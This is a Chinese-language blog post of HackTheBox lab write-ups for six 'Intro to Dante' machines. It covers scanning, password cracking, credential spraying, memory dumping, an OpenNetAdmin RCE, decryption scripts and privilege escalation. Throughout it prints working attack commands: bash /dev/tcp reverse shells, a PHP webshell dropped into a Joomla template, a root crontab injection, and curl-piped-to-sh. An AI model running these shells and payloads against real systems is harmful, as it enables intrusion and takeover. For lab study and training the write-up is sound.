目录

HTB Intro to Dante Writeups

最近突然对渗透测试很感兴趣,充了个 htb 会员才发现基础不牢地动山摇,趁着会员快过期了先把 Intro to Dante Track 做完了,给报 Dante Pro Lab 打一下基础,之后先去 TryHackMe 学一手再回来开 htb 会员刷 Box。

Emdee five for life

启动靶机访问一下,要求提交给定 String 的 MD5:

https://blog-1251103771.file.myqcloud.com/img/1647350152_19bf7c6e.png

直接 md5sum 一下然后提示 Too Slow,应该是要写代码。看了下 Cookie 有 PHPSESSID,那两次请求需要保存一下 session。随便搞一个脚本就行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import requests
from bs4 import BeautifulSoup
from hashlib import md5

URL = "http://ip:port/"

if __name__ == "__main__":
    s = requests.session()
    rsp = s.get(URL)
    soup = BeautifulSoup(rsp.text, 'lxml')
    m = md5()
    m.update(soup.body.h3.text.encode())
    rsp = s.post(URL, data={"hash": m.hexdigest()})
    print(rsp.text)

成功拿到 flag。

https://blog-1251103771.file.myqcloud.com/img/1647350670_652eaac5.png

Heist

Enumeration

1
2
$ ports=$(nmap -p- --min-rate=1000 -T4 $target | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
$ nmap -p $ports -sCV $target
https://blog-1251103771.file.myqcloud.com/img/1647353907_6e5c0f9e.png

有一个 IIS Server 和 smb,上 HackTricks 搜了一下 5985 端口跑的是是 WinRM。

先看看 80 有什么:

https://blog-1251103771.file.myqcloud.com/img/1647354072_efbee4b3.png

点右下角的 Login as guest 里面有一个有意思的文件:

https://blog-1251103771.file.myqcloud.com/img/1647354107_5aac2d40.png

看了一下,发现三个和密码有关的东西:

1
2
3
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408

$1$$ 的形式是 MD5,直接用 john 给爆出来:

1
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt -rules=Jumbo
https://blog-1251103771.file.myqcloud.com/img/1647354856_84bc0bbf.png

后两个根据对话推测是 Cisco 路由器密码,找到 Cracker 直接把两个密码算出来:

1
2
[email protected]
Q4)sJu\Y8qz*A3?d

直接把这三个密码和提问的用户 Hazard 用 crackmapexec 枚举一下。

1
$ crackmapexec smb $target -u hazard -p passwords.txt
https://blog-1251103771.file.myqcloud.com/img/1647355526_ac9311f0.png

找到用户名和密码之后,用 impacketlookupsid 做一下枚举:

1
$ python3 lookupsid.py hazard:[email protected]$target
https://blog-1251103771.file.myqcloud.com/img/1647355738_d531aa3d.png

把这些个人用户都加进去,重新枚举。

https://blog-1251103771.file.myqcloud.com/img/1647355937_28538e23.png

Foothold

找到了两个可以用的用户名和密码,smbmap 之后都无功而返,尝试枚举 winrm

1
$ crackmapexec winrm $target -u users.txt -p passwords.txt
https://blog-1251103771.file.myqcloud.com/img/1647356058_17145e6d.png

发现 Chase 账号是有权限的,用 evil-winrm 打进去。

1
$ evil-winrm -u chase -p 'Q4)sJu\Y8qz*A3?d' -i $target
https://blog-1251103771.file.myqcloud.com/img/1647356202_2cdec74d.png

拿到 user flag。

Privilege Escalation

这里看了 Walkthrough,你打死我我也想不到我要去 dump 内存。

查看一下同文件夹下面的其他文件,有一个 todo.txt

1
2
3
4
5
6
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.

Done:
1. Restricted access for guest user.

这个 issue list 要么是个文件,要么是个服务。找了一圈文件没找到,Get-Process 发现有好几个 firefox 在跑:

1
2
PS C:\Users\Chase\Documents> Get-Process
PS C:\Users\Chase\Documents> Get-Process firefox
https://blog-1251103771.file.myqcloud.com/img/1647356537_9ef23bed.png

尝试 dump 一下内存看看。从 Sysinternals 搞到 procdump64.exestrings64.exe,在本机用 python3 -m http.server 80 之后在目标机器上 wget 给弄下来。

有了工具之后,直接 dump 内存并分析。

1
2
PS C:\Users\Chase\AppData\Local\Temp> .\procdump.exe -ma 696 firefox.dmp
PS C:\Users\Chase\AppData\Local\Temp> .\strings.exe firefox.dmp | Select-String -Pattern "[Aa]dmin" | Select-String -Pattern "[Pp]assword"
https://blog-1251103771.file.myqcloud.com/img/1647357149_5d2c88fc.png

找到一些很有意思的结果,出来试一下:

1
$ evil-winrm -u Administrator -p '4dD!5}x/re8]FBuZ' -i $target
https://blog-1251103771.file.myqcloud.com/img/1647357424_c53827eb.png

提权成功,拿到 root flag。

OpenAdmin

Enumeration

1
2
$ ports=$(nmap -p- --min-rate=1000 -T4 $target | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
$ nmap -p $ports -sCV $target
https://blog-1251103771.file.myqcloud.com/img/1647358089_5322cba2.png

80 开着,惯例看一下是什么东西。

https://blog-1251103771.file.myqcloud.com/img/1647358168_61b5534e.png

是一个 default 页面,用 gobuster 爆一下。

1
$ gobuster dir --url http://$target/ --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

爆出来很多小网站,逐个试一下之后 /music 在这个站下面发现有用户相关系统:

https://blog-1251103771.file.myqcloud.com/img/1647358431_e4d49fed.png

点了下 Login 进到一个 OpenNetAdmin 的 Dashboard 里面,版本号是 18.1.1

Foothold

搜了下 OpenNetAdmin 18.1.1,发现有 RCE,找到一个 poc:https://github.com/amriunix/ona-rce,拉下来跑一下:

1
2
$ git clone https://github.com/amriunix/ona-rce; cd ona-rce
$ python3 ona-rce.py check http://$target/ona
https://blog-1251103771.file.myqcloud.com/img/1647358974_613306e2.png

直接拿 Reverse shell。

1
2
3
$ sudo nc -lvnp 1234
$ python3 ona-rce.py exploit http://$target/ona
$ bash -c 'bash -e &> /dev/tcp/<ip>/1234 <& 1'
https://blog-1251103771.file.myqcloud.com/img/1647359161_2ec13b57.png

Lateral Movement

进来之后在 /var/www 里面逛一下:

1
$ ls -al /var/www
https://blog-1251103771.file.myqcloud.com/img/1647359709_b32b1793.png

html 里面基本没啥用,internal 文件夹权限不足,继续在 ona 里面探索。审计了 config/config.inc.php 之后,发现真实的配置在 local/config 里面,进去审计 database_settings.inc.php

1
2
3
4
5
6
7
8
array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),

用这个密码进 mysql 搜了一圈,没啥有用的,尝试拿这个密码用 jimmy 账号登一下:

1
$ ssh [email protected]$target
https://blog-1251103771.file.myqcloud.com/img/1647359800_3a707ce3.png

现在来看 /var/www/internal。审计 index.php 发现了一个硬编码:

1
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1')

john 直接爆:

1
$ john hash --format=Raw-SHA512 --wordlist=/usr/share/wordlists/rockyou.txt --rules=Jumbo
https://blog-1251103771.file.myqcloud.com/img/1647360236_2bedcce6.png

审计 apache 配置:

1
$ cat /etc/apache2/sites-enabled/*.conf
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>
<!-- snippets... -->

注意,接下来的路径我跟官方 Walkthrough 的做法不同,官方 Walkthrough 是通过爆出来 joanna 的私钥密码来获取的 shell。

internal 路径下面的网站跑在 52846 端口上。进一步审计 /var/www/internal 发现 index.php 登陆之后访问 main.php 会跑一个 shell 命令。看了下 main.php 是可以改的,于是我们直接把 shell 命令换了,拿 Reverse shell。

1
2
# $output = shell_exec('cat /home/joanna/.ssh/id_rsa');
$output = shell_exec("bash -c 'bash -e &> /dev/tcp/<ip>/1234 <& 1'");

然后直接用刚才拿到的用户名和密码请求:

1
2
3
4
5
# On local
$ sudo nc -lvnp 1234

# On remote
$ curl -X POST http://127.0.0.1:52846/main.php -d "islogin=1&username=jimmy&password=Revealed"
https://blog-1251103771.file.myqcloud.com/img/1647360919_035e36fe.png

成功拿到 user flag。

Privilege Escalation

跑一下 linpeas.sh,看到一个很有意思的结果:

1
$ curl -L http://<ip>/linpeas.sh | sh
https://blog-1251103771.file.myqcloud.com/img/1647361223_561805f8.png

有 suid 提权空间。

尝试拿到一个正规 shell。生成一个新的 ssh 私钥然后把公钥写进 /home/joanna/.ssh/authorized_keys 里面:

1
2
3
4
5
6
7
8
# On local
$ ssh-keygen -C [email protected]

# On remote
$ echo '<pubkey>' >> /home/joanna/.ssh/authorized_keys

# On local
$ ssh [email protected]$target

然后根据 GTFOBins 的教程,直接跑提权即可:

1
2
3
$ sudo nano /opt/priv
^R^X
reset; sh 1>&0 2>&0
https://blog-1251103771.file.myqcloud.com/img/1647361932_d8e00f1a.png

成功提权并拿到 root flag。

MarketDump

下载下来是一个 .pcapng 的包 dump,开 WireShark 看一眼。从上往下顺着翻一下,看到有很多 telnet 和 tcp,直接 follow tcp stream,发现下面有一堆卡号,这个应该就是攻击者想要的 payload。

https://blog-1251103771.file.myqcloud.com/img/1647351169_1bfd3fb7.png

把这堆卡号拉出来,看看有没有什么有意思的信息混在里面。

1
$ grep -vE 'American Express,[0-9]{15}' payload.txt
https://blog-1251103771.file.myqcloud.com/img/1647351693_b82a565a.png

发现一个显然不是卡号的东西,拉到 CyberChef 上看看。

https://blog-1251103771.file.myqcloud.com/img/1647351786_f40b9ffd.png

成功拿到 flag。

Nest

Enumeration

1
2
$ ports=$(nmap -p- --min-rate=1000 -T4 -Pn $target | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
$ nmap -p $ports -sCV -Pn $target
https://blog-1251103771.file.myqcloud.com/img/1647366417_db5f7be0.png

有一个 smb 服务,另一个看上去是一个 telnet 服务。

smbmap 枚举一波:

1
$ smbmap -H $target -u guest -p ''
https://blog-1251103771.file.myqcloud.com/img/1647366750_c6351cd4.png

分别枚举一下两个可读的文件夹,在 Data/Shared/Tempaltes/HR/Welcome Email.txt 里面发现一组账号密码:

1
2
Username: TempUser
Password: welcome2019

用这组 credential 重新枚举一遍,在 Data/IT 里面发现了很多文本文件,拉下来挨个看一眼:

1
2
3
$ smbmap -H $target -u tempuser -p welcome2019 -R Data -A xml
$ smbmap -H $target -u tempuser -p welcome2019 -R Data -A txt
$ grep -ir password *.txt *.xml

Data/IT/Configs/RU Scanner/RU_config.xml 里找到一个密码:

1
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>

拉到 CyberChef 上,发现是 base64 编码,但是解码之后没什么意义,应该是二进制数据。继续研究这一堆 xml,在 Data/IT/Configs/NotePadPlusPlus/config.xml 里面发现了一个有意思的文件:

1
<File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />

枚举一下这个文件夹:

1
$ smbmap -H $target -u tempuser -p welcome2019 -R 'Secure$\IT\Carl'
https://blog-1251103771.file.myqcloud.com/img/1647367475_c836a79b.png

发现这个项目跟上面的配置文件有关。挂载起来看一眼:

1
2
$ sudo mount -t cifs -o ro,username=tempuser,password=welcome2019 "//$target/Secure\$/IT/Carl" /mnt/carl
$ cd /mnt/carl

审计了一下 Utils.vb,里面的核心函数如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
' code snippets...
Public Shared Function DecryptString(EncryptedString As String) As String
    If String.IsNullOrEmpty(EncryptedString) Then
        Return String.Empty
    Else
        Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
    End If
End Function
' code snippets...

Public Shared Function Decrypt(ByVal cipherText As String, _
                               ByVal passPhrase As String, _
                               ByVal saltValue As String, _
                                ByVal passwordIterations As Integer, _
                               ByVal initVector As String, _
                               ByVal keySize As Integer) _
                       As String

    Dim initVectorBytes As Byte()
    initVectorBytes = Encoding.ASCII.GetBytes(initVector)

    Dim saltValueBytes As Byte()
    saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

    Dim cipherTextBytes As Byte()
    cipherTextBytes = Convert.FromBase64String(cipherText)

    Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                       saltValueBytes, _
                                       passwordIterations)

    Dim keyBytes As Byte()
    keyBytes = password.GetBytes(CInt(keySize / 8))

    Dim symmetricKey As New AesCryptoServiceProvider
    symmetricKey.Mode = CipherMode.CBC

    Dim decryptor As ICryptoTransform
    decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

    Dim memoryStream As IO.MemoryStream
    memoryStream = New IO.MemoryStream(cipherTextBytes)

    Dim cryptoStream As CryptoStream
    cryptoStream = New CryptoStream(memoryStream, _
                                    decryptor, _
                                    CryptoStreamMode.Read)

    Dim plainTextBytes As Byte()
    ReDim plainTextBytes(cipherTextBytes.Length)

    Dim decryptedByteCount As Integer
    decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                           0, _
                                           plainTextBytes.Length)

    memoryStream.Close()
    cryptoStream.Close()

    Dim plainText As String
    plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                        0, _
                                        decryptedByteCount)
                                        
    Return plainText
End Function

根据 .NET doc 的结果,这个函数的流程其实很简单:

  1. 用 HMAC-SHA1 经过 passwordIterations 轮 PBKDF2 从 passPhrase 计算出长度为 keySize/8 的 key
  2. 用上一步求出来的 key 和传入的 initVectors 经过 AES-CBC 模式解密 base64 解码后的 cipherTextq

那很容易就能用写个脚本解密:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from hashlib import pbkdf2_hmac
from Crypto.Cipher import AES
from base64 import b64decode


def decrypt(cipherText, passphrase, salt, iter, iv):
    dk = pbkdf2_hmac('sha1', passphrase.encode(), salt.encode(), iter, 32)
    aes = AES.new(dk, AES.MODE_CBC, iv)
    return aes.decrypt(b64decode(cipherText)).decode()

if __name__ = "__main__":
    print(decrypt("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=", "N3st22", "88552299", 2, "464R5DFA5DL6LE28"))

得到密码为 xRxRxPANCAK3SxRxRx

Foothold

查看 Data/IT/Configs/RU Scanner/RU_config.xml,对应的用户名是 c.smith,用这组 credential 重新枚举一下:

1
$ smbmap -H $target -u c.smith -p xRxRxPANCAK3SxRxRx -R Users
https://blog-1251103771.file.myqcloud.com/img/1647368984_67655149.png

挂载上去,拿到 user flag。

https://blog-1251103771.file.myqcloud.com/img/1647369172_1c38b17d.png

Privilege Escalation

看看剩下的东西,发现有个 Debug Mode Password.txt,但是是空的,比较奇怪。用 smbclient 看一下:

https://blog-1251103771.file.myqcloud.com/img/1647369410_3a5a1389.png

发现有 NTFS Alternative Data Stream。用对应语法把文件拉下来:

1
smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt:Password"
https://blog-1251103771.file.myqcloud.com/img/1647369566_f3f621e7.png

得到密码为 WBQ201953D8w。根据 nmap 的结果,我们现在尝试用 telnet 访问这个 HQK Reporting 服务。

1
$ telnet $target 4386
https://blog-1251103771.file.myqcloud.com/img/1647369678_db6349ed.png

在里面探索了一会儿,最终在 ../LDAP 里面发现了一个 Ldap.conf,其中有 Administrator 的密码:

1
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

之前的 smb 枚举结果里面还有一个 HqkLdap.exe,拉下来拖进 IDA Pro 或者 Detect It Easy 之类的工具里面,发现是 .NET 的 binary,拿 dnSpy 反编译然后审计一下。

https://blog-1251103771.file.myqcloud.com/img/1647370738_188c5525.png https://blog-1251103771.file.myqcloud.com/img/1647370201_938423bd.png

发现整个流程跟上面是一样的,就是换了个参数,直接拿来用,得到密码为 XtH4nkS4Pl4y1nGX

impacketpsexec.py 直接打进去:

1
$ python3 psexec.py administrator:[email protected]$target
https://blog-1251103771.file.myqcloud.com/img/1647370458_2909fb2d.png

拿到 root flag。

Curling

Enumeration

1
2
$ ports=$(nmap -p- --min-rate=1000 -T4 $target | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
$ nmap -p $ports -sCV $target
https://blog-1251103771.file.myqcloud.com/img/1647371174_b5991e67.png

惯例看看 80 上是什么。

https://blog-1251103771.file.myqcloud.com/img/1647371206_c1381821.png

发现是 Joomla CMS,根据 HackTarget 的顺序先找到 Joomla 的版本是 3.8.8,找直接的 exploit 无功而返。

审计一下源代码,最下面有个挺有意思的注释:

https://blog-1251103771.file.myqcloud.com/img/1647371346_8ed7bf35.png

尝试用 LFI 搞到这个文件:

1
2
$ curl http://$target/secrets.txt
# Q3VybGluZzIwMTgh

惯例拖进 CyberChef,base58 解一下得到 Curling2018!。根据网站上的作者 floris,用这组 credential 成功登进后台。

Foothold

稍微调查了一下,发现 joomla 的模板可以随便改:

https://blog-1251103771.file.myqcloud.com/img/1647372049_e3f99f23.png https://blog-1251103771.file.myqcloud.com/img/1647372068_e478ca68.png

直接搞了个简单的 webshell 上去:

1
2
3
<?php
  system("bash -c 'bash -e &> /dev/tcp/<ip>/1234 <& 1'");
?>

之后直接访问就能接到 shell。

1
$ curl http://10.10.10.150/templates/protostar/pwned.php
https://blog-1251103771.file.myqcloud.com/img/1647372186_552c0901.png

Lateral Movement

ls -al /home 看了一下,可以读 floris 的 home,直接进去看看,里面有个 password_backup:

https://blog-1251103771.file.myqcloud.com/img/1647372410_d3ab48af.png

拉到本地 xxd -r 一下,file 一下发现是 bzip2 的压缩包,解开之后继续 file 一下发现是 gzip 压缩包,重复几轮到最后拿到密码 5d<wdCbdZu)|hChXll。用这个密码进 ssh,拿到用户 flag。

https://blog-1251103771.file.myqcloud.com/img/1647372559_7ed6e4c7.png

Privilege Escalation

ls -al 一下 home,发现一个很有意思的文件夹,owner 是 root,但是 floris group 是有权限的。这意味着应该有个 root 权限跑的东西会读写这个文件。lsof 一下,什么结果都没有,试试用 pspy 枚举一下定时任务:

https://blog-1251103771.file.myqcloud.com/img/1647373111_eb5b1508.png

发现这个 input 是 curl 的配置文件。因为用 root 运行的,对系统有完全的读写权限,我们直接给他弄个 crontab 执行我们的命令就可以了:

1
2
$ cp /etc/crontab ./ && echo '* * * * * root bash -c "bash -e &> /dev/tcp/<ip>/1234 <& 1"' >> crontab && sudo python3 -m http.server 80
$ sudo nc -lvnp 1234

input 改成:

1
2
url = "http://<ip>/crontab"
output = "/etc/crontab"

稍等片刻,就能拿到 shell 和 root flag。

https://blog-1251103771.file.myqcloud.com/img/1647373550_cde552a0.png

Epilogue

Write-up 一定要边做边写边截图,做完了补题解累死我了。